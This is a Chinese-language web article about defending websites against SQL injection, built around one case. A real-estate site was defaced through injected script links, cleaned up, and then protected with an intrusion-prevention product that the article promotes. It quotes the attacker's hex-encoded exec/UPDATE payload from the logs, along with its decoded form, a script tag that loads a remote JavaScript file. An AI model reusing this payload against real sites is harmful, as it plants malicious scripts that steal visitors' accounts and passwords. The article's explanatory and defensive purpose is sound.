萬盛學電腦網

 萬盛學電腦網 >> 病毒防治 >> 警惕惡意軟件破壞 網站SQL注入防御

警惕惡意軟件破壞 網站SQL注入防御

  SQL注入作為直接威脅web業務的最嚴重攻擊行為,已經被大多數的網站管理員所了解,這種通過HTTP標准端口,利用網頁編碼不嚴謹,提交精心構造的代碼實現對數據庫非授權訪問的攻擊方法,已經被越來越多的scriptguy(腳本小子)成功掌握並廣泛實踐。沒錯,他們可能並不知道SQL注入的原理,不知道ASP,不知道PHP,但他們有工具,全自動的,完善的,高效率的工具,這些工具使得任何一個有簡單網絡知識的中學學生可以很容易的拿到某個政府網站的最高管理員權限,而且做這些事情並不會比你在周六的中午下樓去買一聽可樂要更困難。

而隨著互聯網黑色產業鏈的浮出水面,駭客們發現攻擊網站不僅僅可以用作向朋友炫耀的資本,還可以作為購買游戲點卡或者是數碼相機的資金來源:在被攻擊的網站嵌入腳本木馬,可以輕易盜竊那些訪問了受攻擊網站,但個人PC安全防護措施不全面用戶的私密信息,比如游戲賬號密碼,或者是銀行賬號密碼。

經常使用google的用戶一定對這段話不陌生“該網站可能含有惡意軟件,有可能會危害您的電腦,這意味著這個網站也許已經遭遇掛馬黑手,成為駭客們的眾多取款點之一。本文就一例真實案例,來介紹一下網站的安全防護。

某市房地產網站的管理員小李剛上班就被叫到領導辦公室去了,因為網站帶上了google小尾巴:“該網站可能含有惡意軟件,有可能會危害您的電腦,購房者看到這一提示信息,紛紛給該市房產管理局打電話,於是就有了上面的一幕。回到座位上的小李一籌莫展:網站服務器已經全盤殺毒好幾次了,沒有發現病毒存在的痕跡,看來只能找專業安全廠商解決了。小李選擇的是國內著名的一家網絡安全公司,在向該安全公司提交web日志的第二天,小李就收到了回信,從日志的分析結果中,可以清楚的看到駭客的攻擊走向:這是一次非常典型的SQL注入攻擊,首先使用dEcLaRe建立游標,遍歷數據庫中所有允許寫入字符串的相關字段,並通過執行exec操作,使用update語句替換了網站頁面的正常文件,插入了如下一段十六進制字符:

exec('UpDaTe%20['%2b@t%2b']%20sEt%20['%2b@c%2b']=rtrim(convert(varchar,['%2b@c%2b']))%2bcAsT(0x223E3C2F7469746C653E3C736372697074207372633D687474703A2F2F732E736565392E75732F732E6A733E3C2F7363726970743E3C212D2D%20aS%20vArChAr(67))')%20f


經過解密,可以得到如下字符串

"][/title][script src=http://s.see9.us/s.js][/script][!—


這裡面的http://s.see9.us/s.js就是導致網站帶有小尾巴的罪魁禍首。

經過一天的奮力工作,網頁中所有的小尾巴都清理干淨了,在安全工程師的建議下,小李還向StopBadware.org 申請了重新的索引,並向google提交了審核申請。做完了這些之後,小李又一次陷入了困擾:如何防范網站再次遭受SQL注入攻擊呢?網絡上提供了一些代碼修改級的防御方法,可是需要對每一個頁面都做仔細的檢查,看著自己所負責網站的10000余個頁面,小李只能是苦笑,聯想起2007年夏天那次微軟英國網站被SQL注入的案例,小李在內心否認了徹底檢查一遍頁面代碼的做法。關鍵時刻,又是安全工程師提出了建議:部署天清入侵防御產品,利用天清IPS的基於注入攻擊手法的檢測原理,可以對各種SQL注入攻擊的變種進行防御。和傳統的SQL注入防御方法不一樣的是,天清入侵防御產品可以獨立部署,不需要對被保護的web系統做任何修改,而且和那些基於特征的檢測方法不一樣的是,天清IPS采用的VSID算法關注的是攻擊手法而非攻擊代碼,其檢測准確率有很大改善。

在部署了入侵防御產品的當天晚上,小李就在入侵防御產品的控制中心看到了發現了SQL注入攻擊並被阻斷的報警信息,而網站安然無恙。

友情提示:對於防御SQL注入攻擊,檢查網頁代碼是必要的,駭客獲得網站權限,並不僅僅為了炫耀,可能還會有更骯髒的目的;其次,你需要做的事是挽回名譽損失,畢竟掛上google小尾巴不是件光榮的事;最後,你絕對不能忘記的事還有修補漏洞,在沒有“打掃干淨你的系統前,駭客進出你的網絡將會像喝下午茶一樣簡單,你可以選擇修改源代碼來過濾關鍵字(記住不要矯枉過正,筆者就見過不允許用戶名叫select/and等SQL關鍵字的網站),或者是你也可以選擇使用專業的IPS產品。

copyright © 萬盛學電腦網 all rights reserved